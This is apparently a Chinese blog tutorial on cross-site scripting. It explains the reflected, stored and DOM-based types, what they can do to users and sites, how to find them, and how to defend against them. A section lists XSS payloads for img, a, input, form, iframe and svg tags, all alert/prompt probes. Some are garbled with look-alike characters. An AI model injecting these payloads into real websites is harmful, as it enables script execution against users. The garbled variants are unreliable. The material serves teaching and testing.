XSS原理

  • XSS原理
  • XSS分类
  • XSS危害
  • XSS漏洞挖掘
  • XSS常见利用标签
  • XSS防御


XSS原理

  XSS跨站脚本攻击,攻击者通过HTML注入的方式篡改网页,往Web页面里插入恶意Java Script代码,当用户浏览该页面时,嵌入Web里面的Java Script代码会被执行,从而达到攻击用户的目的。XSS攻击针对的是用户层面的攻击!
漏洞成因:
  形成XSS漏洞的主要原因是程序对输入和输出的控制不够严格,导致攻击者构造的JS脚本输入后,在输到前端时被浏览器当作有效代码解析执行从而产生危害。

XSS分类

xss分为:反射性、存储型、DOM型

反射型XSS攻击流程:

xss平台搭建docker xss平台原理_xss平台搭建docker


反射型XSS:

  跨站代码一般存在链接中,当受害者请求这样的链接时,跨站代码经过服务端反射回来,这类跨站的代码通常不存储服务端,需要诱骗用户点击攻击者构造的链接才能触发XSS代码,这种攻击方法通常是一次性的,一般容易出现在搜索页面。反射型XSS大多数是用来盗取用户的Cookie信息。

存储型XSS攻击流程:

xss平台搭建docker xss平台原理_web安全_02


存储型XSS:

  攻击的恶意代码会经过后端应用程序且存储到数据库中,如在信息增加修改、发表文章、留言评论等地方,插入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie。

DOM型XSS攻击流程:

DOM型XSS:

  攻击代码不经过后端,DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,通过修改页面DOM节点数据信息而形成的XSS攻击。DOM-XSS是通过url传入参数去控制触发的,其实也相当于反射型XSS。

可能触发DOM型XSS的属性:

  document.referer

  window.name

  location

  innerHTML

  documen.write

xss平台搭建docker xss平台原理_xss平台搭建docker_03


  我们在URL中传入参数的值,然后客户端页面通过js脚本利用DOM的方法获得URL中参数的值,再通过DOM方法赋值给选择列表,该过程没有经过后端。所以,我们就可以在我们输入的参数上进行测试。

XSS危害

针对用户层的危害:
  窃取coolie劫持会话
  网络钓鱼
  放马挖矿
  广告刷流量
针对WEB应用:
  劫持后台
  篡改网页
  传播蠕虫

XSS漏洞挖掘

黑盒测试:
  只要是参数用户可控的并且能够输出到页面代码中的地方都可能存在XSS漏洞。如:
  评论区、留言板、个人信息、订单信息、私信、意见反馈、搜索框、富文本编辑器等。
白盒测试:
主要从接受前端传入的参数和一些关键字入手:
PHP接收参数方式有:
  xss平台搭建docker xss平台原理_html_04_POST、$_REQUEST等,然后对接收到的数据进行跟踪,看看数据有没有输出道页面,输出页面中的数据是否进行了过滤和HTML编码等处理。
也可以根据echo来跟踪数据是从那里来的,是否用户可控,输出之前是否过滤等等。

XSS常见利用标签

<img>标签:
	<img src=javascript:alert("xss")>
	<img src="x"onerror=alert(1)>
	<img src=οnmοuseοver=alert('xss')>
<a>标签:
	<a href="javascript:alert('xss')">aa</a>
	<a href="javascript:aaa"onmouseover="alert(/xss/)">aa</a>
	<a href=""οnclick=eval(alert('xss'))>aa</a>
<input>标签:
	<input value=""οnclick=alert('xss')type="text">
	<input name="name"value=""οnmοuseοver=prompt('xss')bad="">
	<input name="name"value=""><script>alert('xss')</script>
<form>标签:
	<form action=javascript:alert('xss')method="get">
	<form method=postaction=aa.asp?οnmοuseοver=prompt('xss')>
	<form method=postaction=aa.asp?οnmοuseοver=alert('xss')>
	<form action=1οnmοuseοver=alert('xss)>
	<form method=postaction="data:text/html;base64,<script>alert('xss')</script>">
<form method=postaction="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<iframe>标签:
	<iframe src=javascript:alert('xss');height=5width=1000/><iframe>
	<iframe src="data:text/html,<script">>alert('xss')</script">>"></iframe>
	<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
	<iframe src="aaa"οnmοuseοver=alert('xss')/><iframe>
	<iframe src="javascript:prompt(xss)"></iframe>
<svg>标签:
	<svgοnlοad=alert(1)>

XSS防御

对用户输入进行过滤,过滤掉敏感的字符以及特殊符号。
对输出到页面的数据进行HTML编码。
开启HTTPonly。
加WAF。